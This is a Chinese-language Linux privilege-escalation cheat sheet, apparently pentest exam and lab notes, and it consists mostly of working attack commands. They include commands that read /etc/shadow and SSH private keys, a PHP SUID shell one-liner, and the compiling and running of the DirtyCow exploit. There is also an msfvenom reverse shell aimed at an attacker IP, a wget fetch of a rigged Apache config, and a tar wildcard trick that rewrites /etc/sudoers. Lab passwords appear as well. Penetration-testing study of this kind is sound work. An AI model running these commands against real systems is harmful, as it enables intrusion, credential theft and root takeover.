信息收集

系统信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#Linux版本
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # Debian based
cat /etc/redhat-release # Redhat based

#内核版本
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

#环境变量信息
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

#是否有打印机
lpstat -a

应用程序和服务信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#运行了什么服务,什么服务有哪个用户的权限
ps aux
ps -ef
top
cat /etc/services

#哪些服务正在由 root 运行?
ps aux | grep root
ps -ef | grep root

#安装了哪些应用程序?它们是什么版本?哪些目前正在运行?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

#是否有任何服务设置配置错误?是否附加了任何脆弱的插件?
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

#有哪些计划任务?
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

#是否有明文凭据信息?
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

网络信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 系统有哪些网卡?网卡连接到哪些网络?
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

# 网络配置设置信息(DHCP服务器、DNS服务器、网关)
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

# 有无其他主机和当前主机有连接
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

# 检查路由和arp表
arp -e
route
/sbin/route -nee

凭据和用户信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# 当前用户是谁,谁登录过当前主机,主机上有哪些用户,谁有sudo权限?
id
who
w
last
cat /etc/passwd | cut -d: -f1 # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l

# 常见敏感文件
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

# home目录下文件
ls -ahlR /root/
ls -ahlR /home/

# 默认配置下的密码文件所在路径
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

# 用户的历史记录里有没有密码?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

# else
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

# 公钥和私钥信息
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

文件系统信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
# /etc/中可以写入哪些配置文件?能够重新配置服务吗?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other

find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

# /var/目录下常见敏感路径
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

# 网站上有任何配置文件隐藏吗? 是否有包含数据库信息的配置文件?
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

# 日志文件中是否有任何内容(可以和文件包含漏洞结合)
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

# 是否有未挂载的文件系统?
cat /etc/fstab

#使用了“Advanced Linux File Permissions”吗? 比如SUID和GUID
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null


# 哪里可以写入或者执行?常见的有/tmp、/var/tmp、/dev/shm
find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable folders

find / -perm -o x -type d 2>/dev/null # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders

# 查找nobody文件
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files

其他信息收集

1
2
3
4
5
6
7
8
9
10
11
12
# 安装了哪些开发工具?
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

# 怎么把文件传上去?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

提权思路

常规思路

1.运行sudo -l,查看sudo权限的命令

2.查找suid权限文件

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

3.查找具有cap权限的文件

1
getcap -r / 2>/dev/null

4.查找内核

5.利用lxd/lxc提权,执行id的时候发现用户属于lxd组

6.查看当前目录下有没有.history之类的文件,有的话,试一下密码重用能不能打

其他的方法或者注意事项

php的suid提权

php的suid提权,假设发现了/usr/bin/php7.2文件,直接运行

1
/usr/bin/php7.2 -r “pcntl_exec(‘/bin/sh’, [‘-p’]);”

如果不成功,运行

1
php7.2 -r “pcntl_exec(‘/bin/sh’, [‘-p’]);”

或者

1
php -r “pcntl_exec(‘/bin/sh’, [‘-p’]);”
DirtyCow提权

脏牛提权4.4.0-31-generic,exp位于

1
/usr/share/exploitdb/exploits/linux/local/40847.cpp

将CPP下载到目标主机,然后执行

1
2
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
./dcow -s

一定要先转成交互式shell再执行,不然失败

1
python3 -c "import pty;pty.spawn('/bin/bash')";

第二个脏牛的exp

https://github.com/firefart/dirtycow

一定要在目标机器上编译运行

有的是C语言,gcc编译,有的是cpp,g++编译

getcap提权

getcap返回tar命令的提权方法(/home目录下有tar文件)
举个例子,getcap返回的是/home/cyber/tar cap_dac_read_search=ep,意味着/home/cyber/tar有cap权限,那么就可以执行

1
2
./tar -cvf shadow.tar /etc/shadow
./tar -xvf shadow.tar

./意思是用当前目录下的tar文件,不加./意思就是用系统的tar,因为题目给的tar文件有执行权限,所以要用题目给的tar打包,再查看解压的文件,这里是查看shadow文件,想查看哪个目录就把哪个目录下的文件打包再解压就行了

apache配置文件提权

运行sudo -l,发现

1
2
3
4
User www-data may run the following commands on ubuntu:
(ALL) NOPASSWD: /bin/systemctl start apache2
(ALL) NOPASSWD: /bin/systemctl stop apache2
(ALL) NOPASSWD: /bin/systemctl restart apache2

然后找到apache的配置文件, 当前用户www-data对apache2.conf有修改权限

apche2.conf文件中的如下配置是设置apache是以什么用户的权限运行起来的,也就是说,如果是以root权限起的apache,那么反弹的shell就是root权限的

1
2
3
# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

假设可以改成mahakal(也可以试一下root)

靶机上进入/tmp目录,从攻击机下载修改后的apache2.conf,并复制到/etc/apache2/apache2.conf

1
2
3
4
5
www-data@ubuntu:/tmp$ wget http://192.168.101.34/apache2.conf
www-data@ubuntu:/tmp$ cp /tmp/apache2.conf /etc/apache2/apache2.conf
# These need to be set in /etc/apache2/envvars
User mahakal
Group mahakal

然后运行

1
sudo /bin/systemctl restart apache2

然后重新反弹shell,拿到mahakal权限

sudo版本过低提权

上linpeas.sh,发现sudo 1.8.31可以提权

1
2
3
4
5
[+] Sudo version
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.8.31

https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit

丢到目标机器上编译运行,拿到root权限

borg备份命令提权

sudo -l发现sudo命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(ALL) NOPASSWD: /usr/bin/borg list *
(ALL) NOPASSWD: /usr/bin/borg extract *
(ALL) NOPASSWD: /usr/bin/borg mount *
Borg(全名 BorgBackup)是一个用于高效加密备份的开源工具,适用于Linux和其他Unix-like操作系统

常见的Borg命令
初始化存储库:创建一个新的备份存储库。
borg init --encryption=repokey /path/to/repo

创建备份:将指定的目录备份到存储库。
borg create /path/to/repo::backup-name /path/to/data

查看存储库内容:列出存储库中的所有备份。
borg list /path/to/repo

查看备份内容:列出特定备份中的文件和目录。
borg list /path/to/repo::backup-name

恢复备份:从备份中恢复文件或目录。
borg extract /path/to/repo::backup-name /path/to/restore

删除备份:删除存储库中的特定备份。
borg delete /path/to/repo::backup-name

一般在/opt目录下

上pspy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/bin/sh -c BORG_PASSPHRASE='xinyVzoH2AnJpRK9sfMgBA' borg create /opt/borgbackup::usb_1719666003 /media/usb0
# 先拿到borgbackup下有哪些文件或者目录
sudo /usr/bin/borg list /opt/borgbackup
# 再指定目录是home
sudo /usr/bin/borg list /opt/borgbackup::home
# 读取指定文件
sudo /usr/bin/borg extract --stdout /opt/borgbackup::home root/.bashrc
sudo /usr/bin/borg extract --stdout /opt/borgbackup::home root/rsync.sh
sudo /usr/bin/borg extract --stdout /opt/borgbackup::home root/config.json

找到
sshpass -p "Rb9kNokjDsjYyH" rsync andrew@172.16.6.20:/etc/ /opt/backup/etc/

{
"user": "amy",
"pass": "0814b6b7f0de51ecf54ca5b6e6e612bf"
}

amy的密码破解为backups1,切换用户之后sudo su拿到root

doas命令提权

andrew登录ssh

发现mountuser用户

其实可以读root

suid发现doas命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/doas/
# 找到doas的配置文件
find / -type f -name "doas.conf" 2>/dev/null
# 读配置文件
doas -C /path/to/doas.conf
doas -C /etc/doas.conf
cat /etc/doas.conf

配置文件
permit nopass andrew as root cmd service args apache24 onestart

# 执行
doas -u root <command> <arg>
/usr/local/bin/doas -u root service apache24 onestart

成功开启apache服务,然后成功访问

在/usr/local/www/apache24/data下发现web根目录

1
2
3
4
5
6
7
$ ls -al
total 20
drwxr-xr-x 3 root wheel 512 Oct 31 2022 .
drwxr-xr-x 6 root wheel 512 Oct 31 2022 ..
-rw-r--r-- 1 root wheel 45 Oct 31 2022 index.html
-rw-r--r-- 1 root wheel 22 Oct 31 2022 info.php
drwxr-xr-x 13 root wheel 1024 Oct 31 2022 phpMyAdmin

wget上传webshell到/phpmyadmin/tmp目录下,再上传一个elf的shell到tmp目录下

1
msfvenom -p bsd/x86/shell_reverse_tcp LHOST=192.168.45.167 LPORT=10012 -f elf -o bsd_shell.elf

拿到www权限的shell,运行id发现是wheel组的,查看doas.conf文件发现

1
2
3
# Permit members of the wheel group to perform actions as root.

permit nopass :wheel

运行

1
/usr/local/bin/doas -u root /bin/sh

拿到root权限

查看mountuser的history文件

其他的方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
1.
看/home目录,有么有别的用户,如果有,看文件,如果没文件,看.ssh目录下的authorized_keys文件有没有公钥信息,比如当前a用户登录的系统,b用户下的.ssh目录中有a用户的公钥信息,如下
ssh-rsa AAAAB3xxxXEB9F3 a@debian
意味着a可以直接运行ssh b@127.0.0.1切换到b用户

2.记得是运行ls -al查看所有用户,如果sudo的权限没有对应文件,记得看一下是不是可以创建对应的文件,比如
查看seppuku的sudo权限没有找到利用方法,换个账户登ssh,查看/home目录发现tanto用户,也没有可利用的,在seppuku的目录下发现.passwd文件,里面是12345685213456!@!@A,猜测可以用这个登录最后一个用户samurai,发现可以执行
(ALL) NOPASSWD: /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
但是/home/tanto/下没有.cgi_bin目录,我们创建一个(切换到tanto用户去创建)
```
mkdir .cgi_bin
cd .cgi_bin/
echo "/bin/bash" > bin
chmod 777 bin #这里一定要改权限,不然samurai无权执行
```
然后切换到tanto用户,执行
```
sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
```
拿到root

3.使用pypy去查看进程

4.get cap的命令去查了之后要分析怎么跑,不要直接套用

5.计划任务提权可以通过搜当前用户有写权限的所有文件来试试
find / -type f -perm /o+w | grep ".sh"
find / -type f -user $(whoami) -perm /u+w

6.CVE-2024-1086

使用tar命令进行提权

这里只举例使用root权限运行计划任务,且使用了通配符的tar的bash脚本compressToBackup.sh,内容如下

1
2
3
#!/bin/bash
cd /home/kali/Desktop/TarWildCardPrivEsc/
tar -zcf /home/kali/Desktop/TarWildCardPrivEsc/backup.tgz *

看起来只是执行了cd命令把工作目录切换到/home/…/TarWildCardPrivEsc,然后执行tar 命令把TarWildCardPrivEsc目录下所有的内容打包到backup.tgz文件

这里当使用了通配符*时,bash interpreter其实是这样解释的

1
tar -zcf /home/.../TarWildCardPrivEsc/backup.tgz image.png randomfile.txt ... 31337h4ck3r8.zip

*通配符会被目录下所有的文件名替代,作为攻击者,我们可以利用这一点,创建特定的文件名,这些文件名将被解释为tar的标志,而不是实际的文件。

使用— checkpoint-action可以在执行tar之后执行命令,比如

1
tar -zcf /home/backup.tgz toBeBackedUp --checkpoint=1 --checkpoint-action=exec=whoami

最后的exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. 在被打包的文件目录下生成两个文件
# '--checkpoint=1' and '--checkpoint-action=exec=sh privesc.sh'

echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh privesc.sh'

# 2. 再创建一个privesc.sh,内容如下,这里的kali需要换成当前低权限用户的name
echo 'kali ALL=(root) NOPASSWD: ALL' > /etc/sudoers

#The above injects an entry into the /etc/sudoers file that allows the 'kali'
#user to use sudo without a password for all commands
#NOTE: we could have also used a reverse shell, this would work the same!
#OR: Even more creative, you could've used chmod to changes the permissions
#on a binary to have SUID permissions, and PE that way

再等一会,当前用户就有sudo权限了

补充

筛选具有登录权限的账号

1
cat /etc/passwd l grep sh$

使用ls -la查看用户目录的所有文件,重点看一下.zsh_history

查看当前目录中所有文件里有没有包含关键字pass的

1
grep -Ri pass .

查看hostname主机名的意义在于,在企业环境下,很多主机的主机名的命名都是和主机的功能密切相关的

收集主机发行版本

1
2
3
4
5
6
7
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # Debian based
cat /etc/redhat-release # Redhat based
cat /etc/os-release
lsb_release -a
uname -a

然后searchspoit去搜索exp,内核版本4.x或者5.x很有可能可以通过内核提权,但是考试的时候可能会故意把内核版本做低,把依赖库删掉

查看系统当前进程,重点关注有没有以root运行的进程或者服务

1
ps -ef

查看网卡、路由信息

1
2
3
4
ip a
ip route
route
ss -pantu #查看主机和其他主机是否有连接

查看防火墙规则(不一定有权限访问),如有权限,可能影响反弹shell的时候的端口选择

1
/etc/iptables/rules.xxx

查看计划任务

1
2
cat /etc/cron_xxxxx
cat /etc/crontab

使用rsg生成反弹shell的脚本

1
rsg $IP $port 语言框架(nc\powershell\bash\不设置该参数默认生成所有的)

查看系统安装了哪些软件包,以ii开头的就是已经安装的,可以搜索有无已知漏洞

1
dpkg -l

查看文件系统权限命令,可以在https://gtfobins.github.io下找提权方法

1
2
3
4
5
# 查找属于root用户的且当前用户可写的,可执行的文件,-u=x表示至少有执行权限,u=x表示只有执行权限
find / --witeable -type f -user root -perm -u=x 2>/dev/null

# 查找SUID文件,属于root用户的
find / -perm -u=s -type f -user root 2>/dev/null

比如suid权限,就是当前用户在执行具有suid权限的可执行文件时,会临时把自己提升到root权限,假如vim有suid权限,那么就可以使用vim修改/etc/passwd文件,将里面的root用户的密码修改成攻击者自己生成的密码,然后su -切换到root身份

查看硬盘挂载信息,重点关注多硬盘的目录

1
2
3
cat /etc/fstab
mount
lsblk

查看环境变量

1
env

web目录下的配置文件里也有可能有凭据信息,可以拿来密码复用试一下

查看具有cap权限的命令,然后把命令丢到https://gtfobins.github.io下找提权方法

1
getcap -r / 2>/dev/null

sudu权限

1
2
# 查看当前用户可以以sudo执行什么命令
sudo -l

自动化提权,linpeas,github开源

1
2
3
4
https://github.com/peass-ng/PEASS-ng

#windows下运行之前需要先修改一个注册表项
REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1